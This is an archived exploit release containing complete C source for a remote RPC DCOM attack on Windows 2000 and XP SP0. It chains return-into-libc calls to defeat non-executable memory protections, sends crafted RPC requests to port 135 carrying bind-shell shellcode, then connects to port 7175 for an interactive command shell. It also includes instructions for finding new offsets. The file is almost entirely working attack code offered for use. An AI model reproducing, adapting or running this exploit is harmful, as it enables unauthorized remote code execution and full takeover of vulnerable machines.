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TUCoPS :: Security App Flaws :: bt1662.txt

rpc remote return-into-libc exploit







/*

 * have you recently bought one of those expensive new windows security products

 * on the market? do you think you now have strong protection?

 * Look again:

 *

 * *rpc!exec* 

 * by ins1der (trixterjack@yahoo.com)

 *

 * windows remote return into libc exploit!

 *

 * remote rpc exploit breaking non exec memory protection schemes

 * tested against : 

 *		OverflowGuard 

 *		StackDefender (kernel32 imagebase randomization:O nice try guys.)

 *		 	

 *

 * currently breaking:

 * Windows 2000 SP0 (english)

 * Windows XP SP0 (english)

 *

 * to get new offsets use this:

 * ------------------------------

 * 	#include <windows.h>

 *	#include <stdio.h>

 *	

 *	int main()

 *	{

 *	HANDLE h1,h2;

 *	unsigned long addr1,addr2,addr3,addr4;

 *	h1=LoadLibrary("ntdll.dll");

 *	h2=LoadLibrary("MSVCRT.dll");

 *	addr1=(unsigned long)GetProcAddress(h1,"NtAllocateVirtualMemory");

 *	addr2=(unsigned long)GetProcAddress(h2,"memcpy");

 *	addr3=(unsigned long)GetProcAddress(h1,"NtProtectVirtualMemory");

 *		for (addr4=addr1;addr4<addr1+0xffff;addr4++)

 *			{

 *			if (!memcmp((void*)addr4,"\xc9\xc3",2)) break;

 *			}

 *	printf("0x%x 0x%x 0x%x 0x%x\n",addr1,addr2,addr3,addr4);

 *	return 0;

 *	}

 * -----------------------------

 * to get the last offset use a standard rpc dcom exploit with the last

 * \x90\x90 before the shellcode replaced with \xcd\x21. run the exploit

 * and read the drwatson logs. substract 0xA5 from the fault address.

 *

 *

 * 	Shouts go to: 

 *		w00pz, SpaceCow, Int3, lacroix, misu200, j00(xor),

 *		s0ny, crisis, and to all my true friends.

 *	

 *	

 * 	Enjoy!

 * 

 */



#include <sys/socket.h>

#include <netinet/in.h>



unsigned char bindstr[]={

0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,

0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};



unsigned char request1[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0xE5,0x00,0x00,0x00,

0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45,0x64,0x49,0xB0,0x70,0xDD,0xAE,

0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E,0x0D,0x00,0x00,0x00,0x00,0x00,

0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D,0xCE,0x11,0xA6,0x6A,0x00,0x20,

0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41,0x52,0x42,0x01,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0xA8,0xF4,0x0B,0x00,

0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,

0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,

0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,

0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03,0x00,0x00,0x00,0x00,0x00,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,

0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,

0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29,0xCD,0x00,0x00,0x00,0x00,0x00,

0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,

0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,

0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,

0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,

0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,

0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,

0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,

0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00,

0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x78,0x00,0x00,0x00,

0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,

0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,

0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09,0x02,0x00,0x00,0x00,0x00,0x00,

0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x19,0x0C,0x00,

0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x70,0xD8,0x98,0x93,

0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00,0x00,0x00,0x32,0x00,0x31,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,

0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,

0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03,0x00,0x00,0x00,0x00,0x00,0x00,

0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,

0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E,0xE9,0x4A,0x99,0x99,0xF1,0x8A,

0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00,0x00,0x00,0x78,0x00,0x6E,0x00,

0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00,0x58,0x00,0x00,0x00,0x00,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00,0x00,0x00,0x30,0x00,0x2E,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00,0x00,0x00,0x0E,0x00,0xFF,0xFF,

0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};



unsigned char request2[]={

0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x5C,0x00,0x5C,0x00

};



unsigned char request3[]={

0x5C,0x00,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,

0x35,0x00,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,

0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,

0x31,0x00,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};



unsigned char request4[]={

0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,

0x00,0x00,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,

0x28,0x8C,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00

};





struct offset

{

char *description;

unsigned long valloc;

unsigned long amemcpy;

unsigned long vprot;

unsigned long ret;

unsigned long frame;

};

struct offset targets[]=

{

	{"Windows 2000 SP0 (english)",

		0x77f95da9,

	    	0x78001194,

		0x77f82ffb,

		0x77f96800,

		0x52f770

	}

	,

	{"Windows XP   SP0 (english)",

	        0x77f7e4c3,

	        0x77c42e10,

	        0x77f7ec43,

	        0x77f80a07,

	        0x5bf79c

	}

	,

	{NULL,0,0,0,0,0}

};





unsigned char shell[]=

     	

	"\x46\x00\x58\x00"

	"\x4E\x00\x42\x00"

	"\x46\x00\x58\x00"

	"\x46\x00\x58\x00"

	

	"\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00\x46\x00\x58\x00"



	"\xff\xff\xff\xff"

  	"\xff\xff\xff\xff" 



    	"\xcc\xe0\xfd\x7f"

    	"\xcc\xe0\xfd\x7f"



    	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

    	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"



	"\x90\x90\x90\x90"

    	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

    	"\x90\x90\x90\x90"

	

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

    	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

	"\x90\x90\x90\x90"

    

	

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    

    "\x83\xec\x34\x8b\xf4\xe8\x47\x01\x00\x00\x89\x06\xff\x36\x68\x8e"

    "\x4e\x0e\xec\xe8\x61\x01\x00\x00\x89\x46\x08\xff\x36\x68\xad\xd9"

    "\x05\xce\xe8\x52\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00\x00\x68"

    "\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89\x46\x04"

    "\xff\x36\x68\x72\xfe\xb3\x16\xe8\x2d\x01\x00\x00\x89\x46\x10\xff"

    "\x36\x68\xef\xce\xe0\x60\xe8\x1e\x01\x00\x00\x89\x46\x14\xff\x76"

    "\x04\x68\xcb\xed\xfc\x3b\xe8\x0e\x01\x00\x00\x89\x46\x18\xff\x76"

    "\x04\x68\xd9\x09\xf5\xad\xe8\xfe\x00\x00\x00\x89\x46\x1c\xff\x76"

    "\x04\x68\xa4\x1a\x70\xc7\xe8\xee\x00\x00\x00\x89\x46\x20\xff\x76"

    "\x04\x68\xa4\xad\x2e\xe9\xe8\xde\x00\x00\x00\x89\x46\x24\xff\x76"

    "\x04\x68\xe5\x49\x86\x49\xe8\xce\x00\x00\x00\x89\x46\x28\xff\x76"

    "\x04\x68\xe7\x79\xc6\x79\xe8\xbe\x00\x00\x00\x89\x46\x2c\x33\xff"

    "\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50"

    "\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x8b\xd8\x57\x57\x68\x02"

    "\x00\x1c\x07\x8b\xcc\x6a\x16\x51\x53\xff\x56\x20\x57\x53\xff\x56"

    "\x24\x57\x51\x53\xff\x56\x28\x8b\xd0\x68\x65\x78\x65\x00\x68\x63"

    "\x6d\x64\x2e\x89\x66\x30\x83\xec\x54\x8d\x3c\x24\x33\xc0\x33\xc9"

    "\x83\xc1\x15\xab\xe2\xfd\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d\x89"

    "\x54\x24\x48\x89\x54\x24\x4c\x89\x54\x24\x50\x8d\x44\x24\x10\x54"

    "\x50\x51\x51\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x8b"

    "\xcc\x6a\xff\xff\x31\xff\x56\x0c\x8b\xc8\x57\xff\x56\x2c\xff\x56"

    "\x14\x55\x56\x64\xa1\x30\x00\x00\x00\x85\xc0\x78\x0c\x8b\x40\x0c"

    "\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09\x8b\x40\x34\x8b\xa8\xb8\x00"

    "\x00\x00\x8b\xc5\x5e\x5d\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24"

    "\x18\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x4a\x18\x8b\x5a\x20"

    "\x03\xdd\xe3\x32\x49\x8b\x34\x8b\x03\xf5\x33\xff\xfc\x33\xc0\xac"

    "\x3a\xc4\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf2\x3b\x7c\x24\x14\x75"

    "\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b"

    "\x04\x8b\x03\xc5\xeb\x02\x33\xc0\x8b\xd5\x5f\x5e\x5d\x5b\xc2\x04"

    "\x00\x90\x90\x90\x80\xbf\x32\x94\x80\xbf\x32\x94";

 



struct frame1

{

unsigned long frame0;

unsigned long ret;

}fr1;



struct retstruct

{

unsigned long frame1;

unsigned long valloc;

unsigned long ret1;

unsigned long dummy1;

unsigned long pointer11;

unsigned long zero;

unsigned long pointer12;

unsigned long type;

unsigned long prot;



unsigned long frame2;

unsigned long amemcpy;

unsigned long ret2;

unsigned long dest;

unsigned long src;

unsigned long size2;



unsigned long frame3;

unsigned long vprot;

unsigned long ret3;

unsigned long dummy2;

unsigned long pointer21;

unsigned long pointer22;

unsigned long newprot;

unsigned long oldprot;

}rets;



void prepare_ret(int id)

{

  rets.type=0x3000;

  rets.prot=0x4;

  rets.newprot=0x20;



  rets.valloc=targets[id].valloc;

  rets.amemcpy=targets[id].amemcpy;

  rets.vprot=targets[id].vprot;

  fr1.ret=rets.ret1=rets.ret2=targets[id].ret;

  fr1.frame0=targets[id].frame;



  rets.frame1=fr1.frame0+9*4;

  rets.frame2=rets.frame1+6*4;

  rets.oldprot=fr1.frame0;

  rets.frame3=rets.frame1;

  rets.size2=sizeof(shell);



  rets.src=fr1.frame0;

  rets.dest=0x55555000;

  rets.ret3=0x5555506c;



  rets.dummy1=rets.dummy2=0xffffffff;

  rets.zero=0;



  *(int*)(shell+148)=0x55555000;

  *(int*)(shell+152)=sizeof(shell);



  *(int*)(shell+140)=0x55555000;

  *(int*)(shell+144)=sizeof(shell);



  rets.pointer11=fr1.frame0+92;

  rets.pointer12=fr1.frame0+96;

  rets.pointer21=fr1.frame0+100;

  rets.pointer22=fr1.frame0+104;



  memcpy(shell+32,&fr1,sizeof(fr1));

  memcpy(shell+48,&rets,sizeof(rets));

}



void entershell(int sock)

{

  char buf[3000];

  fd_set  fdr;

  int rs;



  FD_ZERO(&fdr);

  FD_SET(sock,&fdr);

  FD_SET(0,&fdr);



  for(;;) 

  {

    FD_SET(sock, &fdr);

    FD_SET(0, &fdr);

    if(select(FD_SETSIZE,&fdr,NULL,NULL,NULL)<0) break;

    if(FD_ISSET(sock, &fdr)) 

      {

        if((rs=read(sock,buf,sizeof(buf)))<0)

        {

           printf("connection lost\n");

           return;

        }

        if(write(1,buf,rs)<0) break;

      }



    if(FD_ISSET(0,&fdr)) 

      {

        if((rs=read(0,buf,sizeof(buf)))<0)

        {

           printf("[-] Connection lost..\n");

           exit(1);

        }

        if (write(sock,buf,rs) < 0) break;

      }

        usleep(100);

   }

        

   printf("connection closed\n");

 

   return;

}





int main(int argc, char **argv)

{

    

    int sock,i,len1;

    struct sockaddr_in sin;

    unsigned char buf1[0x1000],buf2[0x1000];



    if(argc<3)

    {   

	printf("###############################\n");

	printf("return into libc rpc exploit\n");

	printf("ins1der 2003\n");

	printf("*****************************************\n");

        printf("usage: %s <ip> <id>\n", argv[0]);

	printf("*****************************************\n");

        printf("targets:\n");

	printf("-----------------------------------------\n");

        for (i=0;targets[i].description!= NULL;i++)

            {

            printf("%d\t%s\n",i,targets[i].description);   

            }

	printf("-----------------------------------------\n");

        

        return 0;

    }

	

		

 	



    printf("Exploiting %s...\n",argv[1]);

  	

    prepare_ret(atoi(argv[2]));

    

    sin.sin_family=AF_INET;

    sin.sin_addr.s_addr=inet_addr(argv[1]);

    sin.sin_port=htons(135);



    if ((sock=socket(AF_INET,SOCK_STREAM,0))==-1)

    {

        perror("socket ");

        return 0;

    }

    

    if(connect(sock,(struct sockaddr*)&sin, sizeof(sin)))

    {

        perror("connect ");

        return 0;

    }

    

    memcpy(buf2,request1,sizeof(request1));

    len1=sizeof(request1);

    

    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(shell)/2;  

    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(shell)/2;

    

    memcpy(buf2+len1,request2,sizeof(request2));

    len1=len1+sizeof(request2);

    memcpy(buf2+len1,shell,sizeof(shell));

    len1=len1+sizeof(shell);

    memcpy(buf2+len1,request3,sizeof(request3));

    len1=len1+sizeof(request3);

    memcpy(buf2+len1,request4,sizeof(request4));

    len1=len1+sizeof(request4);

    

    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(shell)-0xc;

    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(shell)-0xc;  

    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(shell)-0xc;

    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(shell)-0xc;

    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(shell)-0xc;

    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(shell)-0xc;

    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(shell)-0xc;

    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(shell)-0xc;

    

    if (send(sock,(char*)bindstr,sizeof(bindstr),0)==-1)

    {

            perror("send");

            return 0;

    }



    recv(sock,(char*)buf1,1000,0);

    

    if (send(sock,(char*)buf2,len1,0)== -1)

    {

            perror("send");

            return 0;

    }

    close(sock);



    sleep(1);

    

    sin.sin_port = htons(7175);



    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)

    {

        perror("socket");

        return(0);

    }

    

    if(connect(sock,(struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)

    {

        printf("Exploit failed\n");

        return(0);

    }   

    

    printf("Entering shell\n");

    entershell(sock);

    return 1;



}




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